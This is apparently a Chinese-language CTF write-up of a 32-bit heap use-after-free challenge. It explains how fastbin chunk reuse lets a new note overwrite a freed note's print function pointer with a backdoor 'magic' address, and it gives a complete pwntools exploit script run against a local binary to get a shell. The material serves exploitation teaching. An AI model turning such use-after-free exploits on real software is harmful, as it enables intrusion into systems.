就是日常的chunk画面
创建chunk,就是在bss段上,notelist处都是指针
申请八字节(因为是32位,所以是两个地址位宽)到指针指向处
然后第一个地址放print函数
pre_size | size |
---|---|
print函数指针 | 新申请的chunk_content |
notelist + i + 1(这里的1代表一个地址位宽),读入我们输入的内容
pre_size | size |
---|---|
content |
删除代码块,会先free chunk_content,然后再free chunk
show。。调用print函数,因为print打印:参数+4的地方,所以此处位print(content)
攻击
因为可以找到后门函数
主要利用的就是chunk首地址处的print函数,把这个地址处给改为magic就可以了
首先我们申请两个chunk
chunk0,和chunk1
他们的content并不重要
之后依次free chunk0和chunk1
此时创建一个chunk2程序会从fastbin中给找,会依次把chunk1和chunk0作为chunk2和chunk2_content
只要我们把chunk2的content设置为magic的地址,那么chunk0的print函数指针就会被覆盖为magic
然后调用show函数打印chunk0的内容,就会调用chunk0的print(现在已经是magic了),就get shell了
from pwn import *
hollk = process('./uaf')
def addnote(size, content):
hollk.recvuntil(":")
hollk.sendline("1")
hollk.recvuntil(":")
hollk.sendline(str(size))
hollk.recvuntil(":")
hollk.sendline(content)
def delnote(idx):
hollk.recvuntil(":")
hollk.sendline("2")
hollk.recvuntil(":")
hollk.sendline(str(idx))
def printnote(idx):
hollk.recvuntil(":")
hollk.sendline("3")
hollk.recvuntil(":")
hollk.sendline(str(idx))
magic = 0x0804898F
addnote(32, "is the first")
addnote(32, "is the second")
delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
hollk.interactive()
因为是本地,可以看到已经调用cat函数,但是没有找到flag文件